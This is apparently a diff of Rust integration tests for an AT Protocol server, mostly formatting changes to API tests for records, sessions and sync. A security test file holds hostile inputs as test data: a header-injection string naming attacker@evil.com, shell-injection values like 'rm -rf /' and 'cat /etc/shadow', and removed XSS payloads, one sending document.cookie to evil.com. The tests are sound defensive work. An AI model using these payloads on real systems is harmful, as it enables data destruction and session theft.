611611+ &jwt,
612612+ &format!("post{:02}", i),
613613+ &format!("Post {}", i),
614614+ )
615615+ .await;
396616 tokio::time::sleep(Duration::from_millis(50)).await;
397617 }
398618 let res = client
399399- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
619619+ .get(format!(
620620+ "{}/xrpc/com.atproto.repo.listRecords",
621621+ base_url().await
622622+ ))
400623 .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post")])
401401- .send().await.expect("Failed to list records");
624624+ .send()
625625+ .await
626626+ .expect("Failed to list records");
402627 assert_eq!(res.status(), StatusCode::OK);
403628 let body: Value = res.json().await.unwrap();
404629 let records = body["records"].as_array().unwrap();
405630 assert_eq!(records.len(), 5);
406406- let rkeys: Vec<&str> = records.iter().map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap()).collect();
407407- assert_eq!(rkeys, vec!["post04", "post03", "post02", "post01", "post00"], "Default order should be DESC");
631631+ let rkeys: Vec<&str> = records
632632+ .iter()
633633+ .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
634634+ .collect();
635635+ assert_eq!(
636636+ rkeys,
637637+ vec!["post04", "post03", "post02", "post01", "post00"],
638638+ "Default order should be DESC"
639639+ );
408640 for record in records {
409641 assert!(record["uri"].is_string());
410642 assert!(record["cid"].is_string());
···412644 assert!(record["value"].is_object());
413645 }
414646 let rev_res = client
415415- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
416416- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("reverse", "true")])
417417- .send().await.expect("Failed to list records reverse");
647647+ .get(format!(
648648+ "{}/xrpc/com.atproto.repo.listRecords",
649649+ base_url().await
650650+ ))
651651+ .query(&[
652652+ ("repo", did.as_str()),
653653+ ("collection", "app.bsky.feed.post"),
654654+ ("reverse", "true"),
655655+ ])
656656+ .send()
657657+ .await
658658+ .expect("Failed to list records reverse");
418659 let rev_body: Value = rev_res.json().await.unwrap();
419419- let rev_rkeys: Vec<&str> = rev_body["records"].as_array().unwrap().iter()
420420- .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap()).collect();
421421- assert_eq!(rev_rkeys, vec!["post00", "post01", "post02", "post03", "post04"], "reverse=true should give ASC");
660660+ let rev_rkeys: Vec<&str> = rev_body["records"]
661661+ .as_array()
662662+ .unwrap()
663663+ .iter()
664664+ .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
665665+ .collect();
666666+ assert_eq!(
667667+ rev_rkeys,
668668+ vec!["post00", "post01", "post02", "post03", "post04"],
669669+ "reverse=true should give ASC"
670670+ );
422671 let page1 = client
423423- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
424424- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("limit", "2")])
425425- .send().await.expect("Failed to list page 1");
672672+ .get(format!(
673673+ "{}/xrpc/com.atproto.repo.listRecords",
674674+ base_url().await
675675+ ))
676676+ .query(&[
677677+ ("repo", did.as_str()),
678678+ ("collection", "app.bsky.feed.post"),
679679+ ("limit", "2"),
680680+ ])
681681+ .send()
682682+ .await
683683+ .expect("Failed to list page 1");
426684 let page1_body: Value = page1.json().await.unwrap();
427685 let page1_records = page1_body["records"].as_array().unwrap();
428686 assert_eq!(page1_records.len(), 2);
429687 let cursor = page1_body["cursor"].as_str().expect("Should have cursor");
430688 let page2 = client
431431- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
432432- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("limit", "2"), ("cursor", cursor)])
433433- .send().await.expect("Failed to list page 2");
689689+ .get(format!(
690690+ "{}/xrpc/com.atproto.repo.listRecords",
691691+ base_url().await
692692+ ))
693693+ .query(&[
694694+ ("repo", did.as_str()),
695695+ ("collection", "app.bsky.feed.post"),
696696+ ("limit", "2"),
697697+ ("cursor", cursor),
698698+ ])
699699+ .send()
700700+ .await
701701+ .expect("Failed to list page 2");
434702 let page2_body: Value = page2.json().await.unwrap();
435703 let page2_records = page2_body["records"].as_array().unwrap();
436704 assert_eq!(page2_records.len(), 2);
437437- let all_uris: Vec<&str> = page1_records.iter().chain(page2_records.iter())
438438- .map(|r| r["uri"].as_str().unwrap()).collect();
705705+ let all_uris: Vec<&str> = page1_records
706706+ .iter()
707707+ .chain(page2_records.iter())
708708+ .map(|r| r["uri"].as_str().unwrap())
709709+ .collect();
439710 let unique_uris: std::collections::HashSet<&str> = all_uris.iter().copied().collect();
440440- assert_eq!(all_uris.len(), unique_uris.len(), "Cursor pagination should not repeat records");
711711+ assert_eq!(
712712+ all_uris.len(),
713713+ unique_uris.len(),
714714+ "Cursor pagination should not repeat records"
715715+ );
441716 let range_res = client
442442- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
443443- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"),
444444- ("rkeyStart", "post01"), ("rkeyEnd", "post03"), ("reverse", "true")])
445445- .send().await.expect("Failed to list range");
717717+ .get(format!(
718718+ "{}/xrpc/com.atproto.repo.listRecords",
719719+ base_url().await
720720+ ))
721721+ .query(&[
722722+ ("repo", did.as_str()),
723723+ ("collection", "app.bsky.feed.post"),
724724+ ("rkeyStart", "post01"),
725725+ ("rkeyEnd", "post03"),
726726+ ("reverse", "true"),
727727+ ])
728728+ .send()
729729+ .await
730730+ .expect("Failed to list range");
446731 let range_body: Value = range_res.json().await.unwrap();
447447- let range_rkeys: Vec<&str> = range_body["records"].as_array().unwrap().iter()
448448- .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap()).collect();
732732+ let range_rkeys: Vec<&str> = range_body["records"]
733733+ .as_array()
734734+ .unwrap()
735735+ .iter()
736736+ .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
737737+ .collect();
449738 for rkey in &range_rkeys {
450450- assert!(*rkey >= "post01" && *rkey <= "post03", "Range should be inclusive");
739739+ assert!(
740740+ *rkey >= "post01" && *rkey <= "post03",
741741+ "Range should be inclusive"
742742+ );
451743 }
452744 let limit_res = client
453453- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
454454- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("limit", "1000")])
455455- .send().await.expect("Failed with high limit");
745745+ .get(format!(
746746+ "{}/xrpc/com.atproto.repo.listRecords",
747747+ base_url().await
748748+ ))
749749+ .query(&[
750750+ ("repo", did.as_str()),
751751+ ("collection", "app.bsky.feed.post"),
752752+ ("limit", "1000"),
753753+ ])
754754+ .send()
755755+ .await
756756+ .expect("Failed with high limit");
456757 let limit_body: Value = limit_res.json().await.unwrap();
457457- assert!(limit_body["records"].as_array().unwrap().len() <= 100, "Limit should be clamped to max 100");
758758+ assert!(
759759+ limit_body["records"].as_array().unwrap().len() <= 100,
760760+ "Limit should be clamped to max 100"
761761+ );
458762 let not_found_res = client
459459- .get(format!("{}/xrpc/com.atproto.repo.listRecords", base_url().await))
460460- .query(&[("repo", "did:plc:nonexistent12345"), ("collection", "app.bsky.feed.post")])
461461- .send().await.expect("Failed with nonexistent repo");
763763+ .get(format!(
764764+ "{}/xrpc/com.atproto.repo.listRecords",
765765+ base_url().await
766766+ ))
767767+ .query(&[
768768+ ("repo", "did:plc:nonexistent12345"),
769769+ ("collection", "app.bsky.feed.post"),
770770+ ])
771771+ .send()
772772+ .await
773773+ .expect("Failed with nonexistent repo");
462774 assert_eq!(not_found_res.status(), StatusCode::NOT_FOUND);
463775}
···11mod common;
22-use tranquil_pds::image::{ImageError, ImageProcessor};
32use tranquil_pds::comms::{SendError, is_valid_phone_number, sanitize_header_value};
44-use tranquil_pds::oauth::templates::{error_page, login_page, success_page};
33+use tranquil_pds::image::{ImageError, ImageProcessor};
5465#[test]
76fn test_header_injection_sanitization() {
···2423 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
2524 let sanitized = sanitize_header_value(header_injection);
2625 assert_eq!(sanitized.split("\r\n").count(), 1);
2727- assert!(sanitized.contains("Normal Subject") && sanitized.contains("Bcc:") && sanitized.contains("X-Injected:"));
2626+ assert!(
2727+ sanitized.contains("Normal Subject")
2828+ && sanitized.contains("Bcc:")
2929+ && sanitized.contains("X-Injected:")
3030+ );
28312932 let with_null = "client\0id";
3033 assert!(sanitize_header_value(with_null).contains("client"));
···5962 assert!(!is_valid_phone_number("+1(234)567890"));
6063 assert!(!is_valid_phone_number("+1.234.567.890"));
61646262- for malicious in ["+123; rm -rf /", "+123 && cat /etc/passwd", "+123`id`",
6363- "+123$(whoami)", "+123|cat /etc/shadow", "+123\n--help",
6464- "+123\r\n--version", "+123--help"] {
6565- assert!(!is_valid_phone_number(malicious), "Command injection '{}' should be rejected", malicious);
6565+ for malicious in [
6666+ "+123; rm -rf /",
6767+ "+123 && cat /etc/passwd",
6868+ "+123`id`",
6969+ "+123$(whoami)",
7070+ "+123|cat /etc/shadow",
7171+ "+123\n--help",
7272+ "+123\r\n--version",
7373+ "+123--help",
7474+ ] {
7575+ assert!(
7676+ !is_valid_phone_number(malicious),
7777+ "Command injection '{}' should be rejected",
7878+ malicious
7979+ );
6680 }
6781}
6882···88102}
8910390104#[test]
9191-fn test_oauth_template_xss_protection() {
9292- let html = login_page("<script>alert('xss')</script>", None, None, "test-uri", None, None);
9393- assert!(!html.contains("<script>") && html.contains("<script>"));
9494-9595- let html = login_page("client123", Some("<img src=x onerror=alert('xss')>"), None, "test-uri", None, None);
9696- assert!(!html.contains("<img ") && html.contains("<img"));
9797-9898- let html = login_page("client123", None, Some("\"><script>alert('xss')</script>"), "test-uri", None, None);
9999- assert!(!html.contains("<script>"));
100100-101101- let html = login_page("client123", None, None, "test-uri",
102102- Some("<script>document.location='http://evil.com?c='+document.cookie</script>"), None);
103103- assert!(!html.contains("<script>"));
104104-105105- let html = login_page("client123", None, None, "test-uri", None,
106106- Some("\" onfocus=\"alert('xss')\" autofocus=\""));
107107- assert!(!html.contains("onfocus=\"alert") && html.contains("""));
108108-109109- let html = login_page("client123", None, None, "\" onmouseover=\"alert('xss')\"", None, None);
110110- assert!(!html.contains("onmouseover=\"alert"));
111111-112112- let html = error_page("<script>steal()</script>", Some("<img src=x onerror=evil()>"));
113113- assert!(!html.contains("<script>") && !html.contains("<img "));
114114-115115- let html = success_page(Some("<script>steal_session()</script>"));
116116- assert!(!html.contains("<script>"));
117117-118118- for (page, name) in [
119119- (login_page("client", None, None, "uri", None, None), "login"),
120120- (error_page("err", None), "error"),
121121- (success_page(None), "success"),
122122- ] {
123123- assert!(!page.contains("javascript:"), "{} page has javascript: URL", name);
124124- }
125125-126126- let html = login_page("client123", None, None, "javascript:alert('xss')//", None, None);
127127- assert!(html.contains("action=\"/oauth/authorize\""));
128128-}
129129-130130-#[test]
131131-fn test_oauth_template_html_escaping() {
132132- let html = login_page("client&test", None, None, "test-uri", None, None);
133133- assert!(html.contains("&") && !html.contains("client&test"));
134134-135135- let html = login_page("client\"test'more", None, None, "test-uri", None, None);
136136- assert!(html.contains(""") || html.contains("""));
137137- assert!(html.contains("'") || html.contains("'"));
138138-139139- let html = login_page("client<test>more", None, None, "test-uri", None, None);
140140- assert!(html.contains("<") && html.contains(">") && !html.contains("<test>"));
141141-142142- let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"),
143143- "valid-uri", None, Some("user@example.com"));
144144- assert!(html.contains("my-safe-client") || html.contains("My Safe App"));
145145- assert!(html.contains("read write") || html.contains("read"));
146146- assert!(html.contains("user@example.com"));
147147-148148- let html = login_page("client", None, None, "\" onclick=\"alert('csrf')", None, None);
149149- assert!(!html.contains("onclick=\"alert"));
150150-151151- let html = login_page("客户端 クライアント", None, None, "test-uri", None, None);
152152- assert!(html.contains("客户端") || html.contains("&#"));
153153-}
154154-155155-#[test]
156105fn test_send_error_display() {
157106 let timeout = SendError::Timeout;
158107 assert!(!format!("{}", timeout).is_empty());
···173122 let base = base_url().await;
174123 let http_client = client();
175124176176- let res = http_client.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
177177- .send().await.unwrap();
125125+ let res = http_client
126126+ .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
127127+ .send()
128128+ .await
129129+ .unwrap();
178130 assert_eq!(res.status(), reqwest::StatusCode::OK);
179131 let body: serde_json::Value = res.json().await.unwrap();
180132 assert_eq!(body["activated"], true);
181133182134 let (token, _did) = create_account_and_login(&http_client).await;
183183- let res = http_client.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
135135+ let res = http_client
136136+ .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
184137 .header("Authorization", format!("Bearer {}", token))
185185- .send().await.unwrap();
138138+ .send()
139139+ .await
140140+ .unwrap();
186141 assert_eq!(res.status(), reqwest::StatusCode::OK);
187142 let body: serde_json::Value = res.json().await.unwrap();
188143 assert_eq!(body["activated"], true);
+112-33
tests/server.rs
···1212 let health = client.get(format!("{}/health", base)).send().await.unwrap();
1313 assert_eq!(health.status(), StatusCode::OK);
1414 assert_eq!(health.text().await.unwrap(), "OK");
1515- let describe = client.get(format!("{}/xrpc/com.atproto.server.describeServer", base)).send().await.unwrap();
1515+ let describe = client
1616+ .get(format!("{}/xrpc/com.atproto.server.describeServer", base))
1717+ .send()
1818+ .await
1919+ .unwrap();
1620 assert_eq!(describe.status(), StatusCode::OK);
1721 let body: Value = describe.json().await.unwrap();
1822 assert!(body.get("availableUserDomains").is_some());
···2428 let base = base_url().await;
2529 let handle = format!("user_{}", uuid::Uuid::new_v4());
2630 let payload = json!({ "handle": handle, "email": format!("{}@example.com", handle), "password": "password" });
2727- let create_res = client.post(format!("{}/xrpc/com.atproto.server.createAccount", base))
2828- .json(&payload).send().await.unwrap();
3131+ let create_res = client
3232+ .post(format!("{}/xrpc/com.atproto.server.createAccount", base))
3333+ .json(&payload)
3434+ .send()
3535+ .await
3636+ .unwrap();
2937 assert_eq!(create_res.status(), StatusCode::OK);
3038 let create_body: Value = create_res.json().await.unwrap();
3139 let did = create_body["did"].as_str().unwrap();
3240 let _ = verify_new_account(&client, did).await;
3333- let login = client.post(format!("{}/xrpc/com.atproto.server.createSession", base))
3434- .json(&json!({ "identifier": handle, "password": "password" })).send().await.unwrap();
4141+ let login = client
4242+ .post(format!("{}/xrpc/com.atproto.server.createSession", base))
4343+ .json(&json!({ "identifier": handle, "password": "password" }))
4444+ .send()
4545+ .await
4646+ .unwrap();
3547 assert_eq!(login.status(), StatusCode::OK);
3648 let login_body: Value = login.json().await.unwrap();
3749 let access_jwt = login_body["accessJwt"].as_str().unwrap().to_string();
3850 let refresh_jwt = login_body["refreshJwt"].as_str().unwrap().to_string();
3939- let refresh = client.post(format!("{}/xrpc/com.atproto.server.refreshSession", base))
4040- .bearer_auth(&refresh_jwt).send().await.unwrap();
5151+ let refresh = client
5252+ .post(format!("{}/xrpc/com.atproto.server.refreshSession", base))
5353+ .bearer_auth(&refresh_jwt)
5454+ .send()
5555+ .await
5656+ .unwrap();
4157 assert_eq!(refresh.status(), StatusCode::OK);
4258 let refresh_body: Value = refresh.json().await.unwrap();
4359 assert!(refresh_body["accessJwt"].as_str().is_some());
4460 assert_ne!(refresh_body["accessJwt"].as_str().unwrap(), access_jwt);
4561 assert_ne!(refresh_body["refreshJwt"].as_str().unwrap(), refresh_jwt);
4646- let missing_id = client.post(format!("{}/xrpc/com.atproto.server.createSession", base))
4747- .json(&json!({ "password": "password" })).send().await.unwrap();
4848- assert!(missing_id.status() == StatusCode::BAD_REQUEST || missing_id.status() == StatusCode::UNPROCESSABLE_ENTITY);
6262+ let missing_id = client
6363+ .post(format!("{}/xrpc/com.atproto.server.createSession", base))
6464+ .json(&json!({ "password": "password" }))
6565+ .send()
6666+ .await
6767+ .unwrap();
6868+ assert!(
6969+ missing_id.status() == StatusCode::BAD_REQUEST
7070+ || missing_id.status() == StatusCode::UNPROCESSABLE_ENTITY
7171+ );
4972 let invalid_handle = client.post(format!("{}/xrpc/com.atproto.server.createAccount", base))
5073 .json(&json!({ "handle": "invalid!handle.com", "email": "test@example.com", "password": "password" }))
5174 .send().await.unwrap();
5275 assert_eq!(invalid_handle.status(), StatusCode::BAD_REQUEST);
5353- let unauth_session = client.get(format!("{}/xrpc/com.atproto.server.getSession", base))
5454- .bearer_auth(AUTH_TOKEN).send().await.unwrap();
7676+ let unauth_session = client
7777+ .get(format!("{}/xrpc/com.atproto.server.getSession", base))
7878+ .bearer_auth(AUTH_TOKEN)
7979+ .send()
8080+ .await
8181+ .unwrap();
5582 assert_eq!(unauth_session.status(), StatusCode::UNAUTHORIZED);
5656- let delete_session = client.post(format!("{}/xrpc/com.atproto.server.deleteSession", base))
5757- .bearer_auth(AUTH_TOKEN).send().await.unwrap();
8383+ let delete_session = client
8484+ .post(format!("{}/xrpc/com.atproto.server.deleteSession", base))
8585+ .bearer_auth(AUTH_TOKEN)
8686+ .send()
8787+ .await
8888+ .unwrap();
5889 assert_eq!(delete_session.status(), StatusCode::UNAUTHORIZED);
5990}
6091···6394 let client = client();
6495 let base = base_url().await;
6596 let (access_jwt, did) = create_account_and_login(&client).await;
6666- let res = client.get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
6767- .bearer_auth(&access_jwt).query(&[("aud", "did:web:example.com")]).send().await.unwrap();
9797+ let res = client
9898+ .get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
9999+ .bearer_auth(&access_jwt)
100100+ .query(&[("aud", "did:web:example.com")])
101101+ .send()
102102+ .await
103103+ .unwrap();
68104 assert_eq!(res.status(), StatusCode::OK);
69105 let body: Value = res.json().await.unwrap();
70106 let token = body["token"].as_str().unwrap();
···76112 assert_eq!(claims["iss"], did);
77113 assert_eq!(claims["sub"], did);
78114 assert_eq!(claims["aud"], "did:web:example.com");
7979- let lxm_res = client.get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
8080- .bearer_auth(&access_jwt).query(&[("aud", "did:web:example.com"), ("lxm", "com.atproto.repo.getRecord")])
8181- .send().await.unwrap();
115115+ let lxm_res = client
116116+ .get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
117117+ .bearer_auth(&access_jwt)
118118+ .query(&[
119119+ ("aud", "did:web:example.com"),
120120+ ("lxm", "com.atproto.repo.getRecord"),
121121+ ])
122122+ .send()
123123+ .await
124124+ .unwrap();
82125 assert_eq!(lxm_res.status(), StatusCode::OK);
83126 let lxm_body: Value = lxm_res.json().await.unwrap();
84127 let lxm_token = lxm_body["token"].as_str().unwrap();
···86129 let lxm_payload = URL_SAFE_NO_PAD.decode(lxm_parts[1]).unwrap();
87130 let lxm_claims: Value = serde_json::from_slice(&lxm_payload).unwrap();
88131 assert_eq!(lxm_claims["lxm"], "com.atproto.repo.getRecord");
8989- let unauth = client.get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
9090- .query(&[("aud", "did:web:example.com")]).send().await.unwrap();
132132+ let unauth = client
133133+ .get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
134134+ .query(&[("aud", "did:web:example.com")])
135135+ .send()
136136+ .await
137137+ .unwrap();
91138 assert_eq!(unauth.status(), StatusCode::UNAUTHORIZED);
9292- let missing_aud = client.get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
9393- .bearer_auth(&access_jwt).send().await.unwrap();
139139+ let missing_aud = client
140140+ .get(format!("{}/xrpc/com.atproto.server.getServiceAuth", base))
141141+ .bearer_auth(&access_jwt)
142142+ .send()
143143+ .await
144144+ .unwrap();
94145 assert_eq!(missing_aud.status(), StatusCode::BAD_REQUEST);
95146}
96147···99150 let client = client();
100151 let base = base_url().await;
101152 let (access_jwt, _) = create_account_and_login(&client).await;
102102- let status = client.get(format!("{}/xrpc/com.atproto.server.checkAccountStatus", base))
103103- .bearer_auth(&access_jwt).send().await.unwrap();
153153+ let status = client
154154+ .get(format!(
155155+ "{}/xrpc/com.atproto.server.checkAccountStatus",
156156+ base
157157+ ))
158158+ .bearer_auth(&access_jwt)
159159+ .send()
160160+ .await
161161+ .unwrap();
104162 assert_eq!(status.status(), StatusCode::OK);
105163 let body: Value = status.json().await.unwrap();
106164 assert_eq!(body["activated"], true);
···108166 assert!(body["repoCommit"].is_string());
109167 assert!(body["repoRev"].is_string());
110168 assert!(body["indexedRecords"].is_number());
111111- let unauth_status = client.get(format!("{}/xrpc/com.atproto.server.checkAccountStatus", base))
112112- .send().await.unwrap();
169169+ let unauth_status = client
170170+ .get(format!(
171171+ "{}/xrpc/com.atproto.server.checkAccountStatus",
172172+ base
173173+ ))
174174+ .send()
175175+ .await
176176+ .unwrap();
113177 assert_eq!(unauth_status.status(), StatusCode::UNAUTHORIZED);
114114- let activate = client.post(format!("{}/xrpc/com.atproto.server.activateAccount", base))
115115- .bearer_auth(&access_jwt).send().await.unwrap();
178178+ let activate = client
179179+ .post(format!("{}/xrpc/com.atproto.server.activateAccount", base))
180180+ .bearer_auth(&access_jwt)
181181+ .send()
182182+ .await
183183+ .unwrap();
116184 assert_eq!(activate.status(), StatusCode::OK);
117117- let unauth_activate = client.post(format!("{}/xrpc/com.atproto.server.activateAccount", base))
118118- .send().await.unwrap();
185185+ let unauth_activate = client
186186+ .post(format!("{}/xrpc/com.atproto.server.activateAccount", base))
187187+ .send()
188188+ .await
189189+ .unwrap();
119190 assert_eq!(unauth_activate.status(), StatusCode::UNAUTHORIZED);
120120- let deactivate = client.post(format!("{}/xrpc/com.atproto.server.deactivateAccount", base))
121121- .bearer_auth(&access_jwt).json(&json!({})).send().await.unwrap();
191191+ let deactivate = client
192192+ .post(format!(
193193+ "{}/xrpc/com.atproto.server.deactivateAccount",
194194+ base
195195+ ))
196196+ .bearer_auth(&access_jwt)
197197+ .json(&json!({}))
198198+ .send()
199199+ .await
200200+ .unwrap();
122201 assert_eq!(deactivate.status(), StatusCode::OK);
123202}
+33-9
tests/session_management.rs
···2020 .expect("Failed to send request");
2121 assert_eq!(res.status(), StatusCode::OK);
2222 let body: Value = res.json().await.unwrap();
2323- let sessions = body["sessions"].as_array().expect("sessions should be array");
2323+ let sessions = body["sessions"]
2424+ .as_array()
2525+ .expect("sessions should be array");
2426 assert!(!sessions.is_empty(), "Should have at least one session");
2525- let current = sessions.iter().find(|s| s["isCurrent"].as_bool() == Some(true));
2727+ let current = sessions
2828+ .iter()
2929+ .find(|s| s["isCurrent"].as_bool() == Some(true));
2630 assert!(current.is_some(), "Should have a current session marked");
2731 let session = current.unwrap();
2832 assert!(session["id"].as_str().is_some(), "Session should have id");
2929- assert!(session["createdAt"].as_str().is_some(), "Session should have createdAt");
3030- assert!(session["expiresAt"].as_str().is_some(), "Session should have expiresAt");
3333+ assert!(
3434+ session["createdAt"].as_str().is_some(),
3535+ "Session should have createdAt"
3636+ );
3737+ assert!(
3838+ session["expiresAt"].as_str().is_some(),
3939+ "Session should have expiresAt"
4040+ );
3141 let _ = did;
3242}
3343···8494 assert_eq!(list_res.status(), StatusCode::OK);
8595 let list_body: Value = list_res.json().await.unwrap();
8696 let sessions = list_body["sessions"].as_array().unwrap();
8787- assert!(sessions.len() >= 2, "Should have at least 2 sessions, got {}", sessions.len());
9797+ assert!(
9898+ sessions.len() >= 2,
9999+ "Should have at least 2 sessions, got {}",
100100+ sessions.len()
101101+ );
88102 let _ = jwt1;
89103}
90104···154168 .expect("Failed to list sessions");
155169 let list_body: Value = list_res.json().await.unwrap();
156170 let sessions = list_body["sessions"].as_array().unwrap();
157157- let other_session = sessions.iter().find(|s| s["isCurrent"].as_bool() != Some(true));
158158- assert!(other_session.is_some(), "Should have another session to revoke");
171171+ let other_session = sessions
172172+ .iter()
173173+ .find(|s| s["isCurrent"].as_bool() != Some(true));
174174+ assert!(
175175+ other_session.is_some(),
176176+ "Should have another session to revoke"
177177+ );
159178 let session_id = other_session.unwrap()["id"].as_str().unwrap();
160179 let revoke_res = client
161180 .post(format!(
···179198 .expect("Failed to list sessions after revoke");
180199 let list_after_body: Value = list_after_res.json().await.unwrap();
181200 let sessions_after = list_after_body["sessions"].as_array().unwrap();
182182- let revoked_still_exists = sessions_after.iter().any(|s| s["id"].as_str() == Some(session_id));
183183- assert!(!revoked_still_exists, "Revoked session should not appear in list");
201201+ let revoked_still_exists = sessions_after
202202+ .iter()
203203+ .any(|s| s["id"].as_str() == Some(session_id));
204204+ assert!(
205205+ !revoked_still_exists,
206206+ "Revoked session should not appear in list"
207207+ );
184208 let _ = jwt1;
185209}
186210
+113-31
tests/sync_deprecated.rs
···1010 let client = client();
1111 let (did, jwt) = setup_new_user("gethead").await;
1212 let res = client
1313- .get(format!("{}/xrpc/com.atproto.sync.getHead", base_url().await))
1313+ .get(format!(
1414+ "{}/xrpc/com.atproto.sync.getHead",
1515+ base_url().await
1616+ ))
1417 .query(&[("did", did.as_str())])
1515- .send().await.expect("Failed to send request");
1818+ .send()
1919+ .await
2020+ .expect("Failed to send request");
1621 assert_eq!(res.status(), StatusCode::OK);
1722 let body: Value = res.json().await.expect("Response was not valid JSON");
1823 assert!(body["root"].is_string());
1924 let root1 = body["root"].as_str().unwrap().to_string();
2025 assert!(root1.starts_with("bafy"), "Root CID should be a CID");
2126 let latest_res = client
2222- .get(format!("{}/xrpc/com.atproto.sync.getLatestCommit", base_url().await))
2727+ .get(format!(
2828+ "{}/xrpc/com.atproto.sync.getLatestCommit",
2929+ base_url().await
3030+ ))
2331 .query(&[("did", did.as_str())])
2424- .send().await.expect("Failed to get latest commit");
3232+ .send()
3333+ .await
3434+ .expect("Failed to get latest commit");
2535 let latest_body: Value = latest_res.json().await.unwrap();
2636 let latest_cid = latest_body["cid"].as_str().unwrap();
2727- assert_eq!(root1, latest_cid, "getHead root should match getLatestCommit cid");
3737+ assert_eq!(
3838+ root1, latest_cid,
3939+ "getHead root should match getLatestCommit cid"
4040+ );
2841 create_post(&client, &did, &jwt, "Post to change head").await;
2942 let res2 = client
3030- .get(format!("{}/xrpc/com.atproto.sync.getHead", base_url().await))
4343+ .get(format!(
4444+ "{}/xrpc/com.atproto.sync.getHead",
4545+ base_url().await
4646+ ))
3147 .query(&[("did", did.as_str())])
3232- .send().await.expect("Failed to get head after record");
4848+ .send()
4949+ .await
5050+ .expect("Failed to get head after record");
3351 let body2: Value = res2.json().await.unwrap();
3452 let root2 = body2["root"].as_str().unwrap().to_string();
3553 assert_ne!(root1, root2, "Head CID should change after record creation");
3654 let not_found_res = client
3737- .get(format!("{}/xrpc/com.atproto.sync.getHead", base_url().await))
5555+ .get(format!(
5656+ "{}/xrpc/com.atproto.sync.getHead",
5757+ base_url().await
5858+ ))
3859 .query(&[("did", "did:plc:nonexistent12345")])
3939- .send().await.expect("Failed to send request");
6060+ .send()
6161+ .await
6262+ .expect("Failed to send request");
4063 assert_eq!(not_found_res.status(), StatusCode::BAD_REQUEST);
4164 let error_body: Value = not_found_res.json().await.unwrap();
4265 assert_eq!(error_body["error"], "HeadNotFound");
4366 let missing_res = client
4444- .get(format!("{}/xrpc/com.atproto.sync.getHead", base_url().await))
4545- .send().await.expect("Failed to send request");
6767+ .get(format!(
6868+ "{}/xrpc/com.atproto.sync.getHead",
6969+ base_url().await
7070+ ))
7171+ .send()
7272+ .await
7373+ .expect("Failed to send request");
4674 assert_eq!(missing_res.status(), StatusCode::BAD_REQUEST);
4775 let empty_res = client
4848- .get(format!("{}/xrpc/com.atproto.sync.getHead", base_url().await))
7676+ .get(format!(
7777+ "{}/xrpc/com.atproto.sync.getHead",
7878+ base_url().await
7979+ ))
4980 .query(&[("did", "")])
5050- .send().await.expect("Failed to send request");
8181+ .send()
8282+ .await
8383+ .expect("Failed to send request");
5184 assert_eq!(empty_res.status(), StatusCode::BAD_REQUEST);
5285 let whitespace_res = client
5353- .get(format!("{}/xrpc/com.atproto.sync.getHead", base_url().await))
8686+ .get(format!(
8787+ "{}/xrpc/com.atproto.sync.getHead",
8888+ base_url().await
8989+ ))
5490 .query(&[("did", " ")])
5555- .send().await.expect("Failed to send request");
9191+ .send()
9292+ .await
9393+ .expect("Failed to send request");
5694 assert_eq!(whitespace_res.status(), StatusCode::BAD_REQUEST);
5795}
5896···6199 let client = client();
62100 let (did, jwt) = setup_new_user("getcheckout").await;
63101 let empty_res = client
6464- .get(format!("{}/xrpc/com.atproto.sync.getCheckout", base_url().await))
102102+ .get(format!(
103103+ "{}/xrpc/com.atproto.sync.getCheckout",
104104+ base_url().await
105105+ ))
65106 .query(&[("did", did.as_str())])
6666- .send().await.expect("Failed to send request");
107107+ .send()
108108+ .await
109109+ .expect("Failed to send request");
67110 assert_eq!(empty_res.status(), StatusCode::OK);
68111 let empty_body = empty_res.bytes().await.expect("Failed to get body");
6969- assert!(!empty_body.is_empty(), "Even empty repo should return CAR header");
112112+ assert!(
113113+ !empty_body.is_empty(),
114114+ "Even empty repo should return CAR header"
115115+ );
70116 create_post(&client, &did, &jwt, "Post for checkout test").await;
71117 let res = client
7272- .get(format!("{}/xrpc/com.atproto.sync.getCheckout", base_url().await))
118118+ .get(format!(
119119+ "{}/xrpc/com.atproto.sync.getCheckout",
120120+ base_url().await
121121+ ))
73122 .query(&[("did", did.as_str())])
7474- .send().await.expect("Failed to send request");
123123+ .send()
124124+ .await
125125+ .expect("Failed to send request");
75126 assert_eq!(res.status(), StatusCode::OK);
7676- assert_eq!(res.headers().get("content-type").and_then(|h| h.to_str().ok()), Some("application/vnd.ipld.car"));
127127+ assert_eq!(
128128+ res.headers()
129129+ .get("content-type")
130130+ .and_then(|h| h.to_str().ok()),
131131+ Some("application/vnd.ipld.car")
132132+ );
77133 let body = res.bytes().await.expect("Failed to get body");
78134 assert!(!body.is_empty(), "CAR file should not be empty");
79135 assert!(body.len() > 50, "CAR file should contain actual data");
